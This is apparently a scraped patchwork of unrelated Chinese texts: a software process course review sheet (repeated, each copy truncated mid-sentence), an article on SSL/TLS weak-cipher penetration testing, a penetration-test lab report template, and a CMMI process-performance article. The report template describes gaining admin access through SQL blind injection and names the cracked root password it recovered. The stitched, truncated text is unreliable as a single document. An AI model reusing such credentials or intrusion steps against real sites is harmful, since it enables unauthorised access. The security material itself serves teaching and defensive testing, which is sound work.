软件过程与软件管理课程复习题 (一)解释相关概念或术语 1)软件工程 ●是指导软件开发和维护的工程类学科,它以计算机科学理论及其他相关学科的理论为指导,采用工程化的概 念、原理、方法和技术,进行软件的开发和维护,并与经过时间证明正确的管理方法与措施相结合,以较少的代价获取高质量的软件。 ●The IEEE Computer Society:是(1) 将系统化的、规范的、可度量的方法应用于软件的开发、运行和维护的过 程,即将工程化应用于软件中。(2) 对(1)中所述方法的研究。 2)软件过程 ●软件过程是指软件开发人员开发和维护软件及相关产品(如项目计划、设计文档、代码、测试用例、用户手 册等)的一套行为、方法、实践及变换过程 ●根据IEEE对软件过程概念的解释,软件过程涵盖了软件采购、软件开发、软件维护、软件运行、软件获取、 软件管理、软件支持等7大类的软件活动 ●ISO12207分别将这些活动归结为基本过程、支持过程和组织过程等3大类 3)软件过程工程 为建造软件过程所进行的一系列工程化活动,包含如下基本活动:过程定义、过程例化、过程模拟、过程运作。 现代软件工程=软件项目工程+软件过程工程,这标志着软件过程的时代的到来。 4)软件配置管理 SCM是标识和确定系统中配置项的过程,在系统整个生命周期内控制这些项的投放和变动,记录并报告配置的状态和变动要求,验证配置项的完整性和正确性(GB/T11457-1995软件工程术语)。 针对SCM在软件生命周期各阶段所起的作用,一个完整的SCM环境要求具有版本控制、变更管理、状态统计、和配置审计的功能。 5)CMM CMM是指“能力成熟度模型”,其英文全称为Capability Maturity Model for Software,英文缩写为SW-CMM,简称CMM。它是对于软件组织在定义、实施、度量、控制和改善其软件过程的实践中各个发展阶段的描述。CMM 的核心是把软件开发视为一个过程,并根据这一原则对软件开发和维护进行过程监控和研究,以使其更加科学化、标准化、使企业能够更好地实现商业目标。 6)CMM中的关键过程域 每个软件能力成熟度等级包含若干个对该成熟度等级至关重要的过程方面,它们的实施对达到该成熟度等级的目标起到保证作用。这些过程域就称为该成熟度等级的关键过程域。 ●确定了实现一个成熟度级别所必须解决的问题 ●处于级别3的机构,必须解决级别2和级别3的所有关键过程域中的问题 ●每个关键过程域都确定了一套相应的活动,完成了这些活动,就达到了被认为是对改进过程非常重要的一组 目标 ●目标说明了每个关键过程域的范围、界限和意义 ●对于满足关键过程域的机构,一个关键过程域的所有目标都必须实现 ●每个关键过程域的目标总结了它的关键实践 7)CMM中的关键实践 是指关键过程域种的一些主要实践活动。每个关键过程域最终由关键实践所组成,通过实现这些关键实践达到关

详述SSL和TLS的Web安全渗透测试

如果Web服务中的SSL和TLS协议出现安全问题,后果会如何?很明显,这样的话攻击者就可以拥有你所有的安全信息,包括我们的用户名、密码、信用卡、银行信息……所有的一切。本文将向读者详细介绍如何针对Web服务中的SSL和TLS协议进行安全渗透测试。我们首先对这两种协议进行了概述,然后详细介绍了针对加密信道安全性的黑盒测试和白盒测试。最后列出了一些常用的安全测试工具。 一、简介 目前,许多重要的Web服务都使用了SSL和TLS协议对通信进行保护。我们知道,http协议是使用明文进行传输的,但是像网络银行之类的web应用如果使用http协议的话,那么所有的机密信息都会暴露在网络连接中,这就像银行用一个透明的信封给我们邮寄信用卡帐号和密码一样,在从银行到达用户之间任何接触过这封信的人,都能看到我们的帐号和密码。为了提高其安全性,经常需要通过SSL或者TLS隧道传输这些明文,这样就产生了https通信流量。例如网络银行之类的应用,在服务器和客户端之间传输密码,信用卡号码等重要信息时,都是通过https协议进行加密传送的。 SSL和TLS是两种安全协议,它们通过加密技术为传输的信息提供安全信道、机密性和身份验证等安全功能。我们知道由于对高级密码技术的出口限制,会造成遗留系统使用的是弱加密技术。如果系统采用了弱密码,或者说密码强度过低的话,攻击者可以在有效的时间内破解密钥,而攻击者一旦得到了密钥,就像小偷得到了我们家的钥匙一样,所有的锁都会形同虚设。但是,新Web服务器就不会使用弱加密系统了吗?答案是否定的,因为许多新Web服务器也经常被配臵成处理虚密码选项。为了实现这些安全特性,协议必须确保使用的密码算法有足够的强度,并且密码算法得到了正确的实现。即使服务器安装使用了高级的加密模块,但是如果配臵不当的话,也有可能为安全特性要求较高的通信信道的设臵了较弱的加密技术。下面,我们将详细介绍如何对这两种协议的配臵进行安全审计。 二、测试SSL/TLS的密码规范 我们知道,http协议是使用明文进行传输的,为了提高其安全性,经常需要通过SSL或者TLS隧道传输这些明文,这样就产生了https通信流量。除对传输的数据进行加密处理之外,https(安全超文本传输协议,HTTPS)还能利用数字证书为服务器或客户端提供身份标识。 过去,美国政府对加密系统的出口有许多限制,如密钥长度最大为40位,因为密钥长度越短,它就越容易破解。后来,密码出口条例已经放宽了许多,但是,检查服务器的SSL配臵仍然十分重要,因为它有可能配臵使用了弱加密技术。基于SSL的服务不应该提供选择弱密码的机会。 注意,我们这里所说的弱密码,指的是加密强度不够、容易破解的加密系统。不同的加密算法具有不同的密码强度,但是在算法一定的情况下,密钥的长度越长,加密强度越高。 技术上,选择加密技术的过程如下所示:在建立SSL连接的初期,客户端向服务器发送一个Clien t Hello消息,以告知服务器它支持哪些加密技术等。一般情况下,客户端通常是一个Web浏览器,所以浏览器是目前最常见的SSL客户端;然而,任何支持SSL的应用程序都可以作为SSL客户端使用。比如,有时候SSL客户端是些SSL代理(如stunnel),它们使得那些不支持SSL的工具也能与SSL服务通信。同理,SSL服务器端通常为Web服务器,但是其他应用程序也可以充当SSL服务器端。加密套件规定了具体的密码协议(DES、RC4、AES)、密钥长度(诸如40、56或者128位)和用于完整性检验的散列算法(SHA、MD5)。收到Client Hello消息后,服务器以此确定该会话所使用的加密套件。当然,通过配臵可以规定服务器能够接受哪些密码套件,这样的话,我们就能够控制是否跟仅支持40位加密的客户端通话 三、黑盒测试 为了检测可能支持的弱密码,必须找出与SSL/TLS服务相关的端口。通常情况下,要检查端口443,因为它是标准的https端口;不过运行在443端口上的却未必是https服务,因为通过配臵,https服务可以运行在非标准的端口上,同时,Web应用程序也许使用了其它利用SSL/TLS封装的服务。一般而言,为了找出这些端口,必须找出使用了哪些服务。

福师《软件过程管理》练习题答案教学内容

软件过程与软件管理课程复习题 解释相关概念或术语 软件工程 是指导软件开发和维护的工程类学科,它以计算机科学理论及其他相关学科的理论为指导,采用工程化的概念、原理、方法和技术,进行软件的开发和维护,并与经过时间证明正确的管理方法与措施相结合,以较少的代价获取高质量的软件。 The IEEE Computer Society:是(1) 将系统化的、规范的、可度量的方法应用于软件的开发、运行和维护的过程,即将工程化应用于软件中。(2) 对(1)中所述方法的研究。 软件过程 软件过程是指软件开发人员开发和维护软件及相关产品(如项目计划、设计文档、代码、测试用例、用户手册等)的一套行为、方法、实践及变换过程 根据IEEE对软件过程概念的解释,软件过程涵盖了软件采购、软件开发、软件维护、软件运行、软件获取、软件管理、软件支持等7大类的软件活动 ISO12207分别将这些活动归结为基本过程、支持过程和组织过程等3大类 软件过程工程 为建造软件过程所进行的一系列工程化活动,包含如下基本活动:过程定义、过程例化、过程模拟、过程运作。 现代软件工程=软件项目工程+软件过程工程,这标志着软件过程的时代的到来。 软件配置管理 SCM是标识和确定系统中配置项的过程,在系统整个生命周期内控制这些项的投放和变动,记录并报告配置的状态和变动要求,验证配置项的完整性和正确性(GB/T11457-1995软件工程术语)。 针对SCM在软件生命周期各阶段所起的作用,一个完整的SCM环境要求具有版本控制、变更管理、状态统计、和配置审计的功能。 CMM CMM是指“能力成熟度模型”,其英文全称为Capability Maturity Model for Software,英文缩写为SW-CMM,简称CMM。它是对于软件组织在定义、实施、度量、控制和改善其软件过程的实践中各个发展阶段的描述。CMM的核心是把软件开发视为一个过程,并根据这一原则对软件开发和维护进行过程监控和研究,以使其更加科学化、标准化、使企业能够更好地实现商业目标。 CMM中的关键过程域 每个软件能力成熟度等级包含若干个对该成熟度等级至关重要的过程方面,它们的实施对达到该成熟度等级的目标起到保证作用。这些过程域就称为该成熟度等级的关键过程域。 确定了实现一个成熟度级别所必须解决的问题 处于级别3的机构,必须解决级别2和级别3的所有关键过程域中的问题 每个关键过程域都确定了一套相应的活动,完成了这些活动,就达到了被认为是对改进过程非常重要的一组目标 目标说明了每个关键过程域的范围、界限和意义 对于满足关键过程域的机构,一个关键过程域的所有目标都必须实现 每个关键过程域的目标总结了它的关键实践 CMM中的关键实践 是指关键过程域种的一些主要实践活动。每个关键过程域最终由关键实践所组成,通过实现

网站渗透测试报告-模板

网站渗透测试报告-模板

____________________________ 电子信息学院渗透测试课程实验报告____________________________ 实验名称:________________________ 实验时间:________________________ 学生姓名:________________________ 学生学号:________________________

目录 第1章概述 (3) .测试目的 (3) .测试范围 (3) .数据来源 (3) 第2章详细测试结果 (4) .测试工具 (4) .测试步骤 (4) 预扫描 (4) 工具扫描 (4) 人工检测 (5) 其他 (5) .测试结果 (5) 跨站脚本漏洞 (6) 盲注 (7) 管理后台 (10) .实验总结 (11)

第1章概述 .测试目的 通过实施针对性的渗透测试,发现XXXX网站系统的安全漏洞,保障XXX业务系统安全运行。 .测试范围 根据事先交流,本次测试的范围详细如下: .数据来源 通过漏洞扫描和手动分析获取相关数据。

第2章详细测试结果 .测试工具 根据测试的范围,本次渗透测试可能用到的相关工具列表如下: .测试步骤 预扫描 通过端口扫描或主机查看,确定主机所开放的服务。来检查是否有非正常的服务程序在运行。 工具扫描 主要通过Nessus进行主机扫描,通过WVS进行WEB扫描。通过Nmap进行端口扫描,得出扫描结果。三个结果进行对比分析。

人工检测 对以上扫描结果进行手动验证,判断扫描结果中的问题是否真实存在。 其他 根据现场具体情况,通过双方确认后采取相应的解决方式。 .测试结果 本次渗透测试共发现2个类型的高风险漏洞,1个类型的低风险漏洞。这些漏洞可以直接登陆web管理后台管理员权限,同时可能引起内网渗透。获取到的权限如下图所示: 可以获取web管理后台管理员权限,如下步骤所示: 通过SQL盲注漏洞获取管理员用户名和密码hash值,并通过暴力破解工具破解得到root用户的密码“mylove1993.” 利用工具扫描得到管理后台url,使用root/mylove1993.登陆后台如图:

CMMI过程域之:OPP组织过程性能

CMMI过程域之:OPP组织过程性能 2008-12-17 作者:人月神话来源:https://www.360docs.net/doc/251638089.html, 过程性能是对遵循某各过程后所达到的实际结果的度量。注意过程性能的度量包括了两方面的内容,一方面是对过程的度量(工作量,评审效率,缺陷移除等),一方面是对产品质量的度量(故障数,缺陷密度)等。虽然过程性能包含了质量,单是为了强调质量在过程域里面我们常用的词仍然是质量和过程性能目标,该目标覆盖了产品质量,服务质量和过程性能。 组织预期的过程性能可以用来建立项目的过程性能目标,也是和项目过程性能实际数据进行比较的重要基准。这些信息是项目定量管理的基础,同时执行了定量管理的项目又为组织的过程性能基线提供改进数据。 一旦组织有了关键产品和过程特性的度量值、数据和相应的分析技术,就可以做以下工作: ?确定过程的行为是否一致,过程本身是否稳定(即可预测) ?识别各个过程实施小组之间按照一致的性质范围执行的那些过程 ?建立准则,识别某个过程或过程单元是否要实施统计管理 ?如果要进行统计管理,确定用于统计管理的度量项和统计方法工具 ?识别那些显示出无用的(例如零散的或不可预料的)行为的过程 ?识别组织的标准过程集合中可以加以改进的过程 ?识别那些可能是最佳惯例的过程实施 SG1建立性能基线(PPB)和模型(PPM)。建立并维护用于表征组织标准过程集合的预期过程性能的基线和模型。 ?SP1.1 选择过程 ?SP1.2 建立过程性能度量值

?SP1.3 建立质量和过程性能目标 ?SP1.4 建立过程性能基线 ?SP1.5 建立过程性能模型 组织的过程由一套标准过程组成,每个过程又包括相应的子过程和过程单元。这些过程不可能都实现定量管理,因此选择过程就是要根据业务目标和组织的过程改进目标来选择哪些过程和子过程要进行定量管理。 选择了过程后,就是要对过程的性能进行度量,需要选择那些能够很好的对过程性能进行评价的度量指标。度量值的选择标准是可用的,客观的,能够很好的反映和组织业务目标的关系,能够客观的评价过程的性能。基于以上考虑,可以采用目标问题矩阵这个方法来选择合适的度量值。最终选择的度量值要纳入组织的通用度量值集合。 注意OPP中建立质量和过程性能目标是组织级的,QPM中建立的质量和过程性能目标是考虑了项目本身的业务目标后得出的项目级的。注意了在OPP中的SP1.1和SP1.2会对可能需要定量管理的过程都列出来,给出每个过程的度量值和度量方法。SP1.3是建立组织过程性能目标,根据该目标再来分析对于组织级来讲哪些子过程是需要进行定量管理的。 组织的过程性能目标是以组织的业务目标和组织中项目的历史数据为依据制定的。性能目标包括了过程度量值和质量度量值两方面的内容。性能目标建立后还需要对目标进行优先级排序,当组织业务目标变更了还需要对组织性能目标进行相应的修改。 PPB和PPM的建立 过程性能基线是基于过程度量项或产品的度量项来定义组织级的一个基准,基准包括了均值和允许的上下限范围。比如缺陷密度组织级的过程性能基线是均值在8.3个/Kloc代码。下限是4.8个/Kloc代码,上限是11.8个/Kloc代码。过程性能模型是y=f(x1,x2,x3),是指对应一个过程性能度量项,我们是通过其它过程或产品度量项来评价的,通过建立这种模型在x都已知的情况下我们就能够预测y的性能。四级量化管理的一个重点就是除了要求过程稳定外,还要求过程本身是可预测的。可预测这点就是通过建立过程性能模型PPM来实现的。 OPP过程的输入

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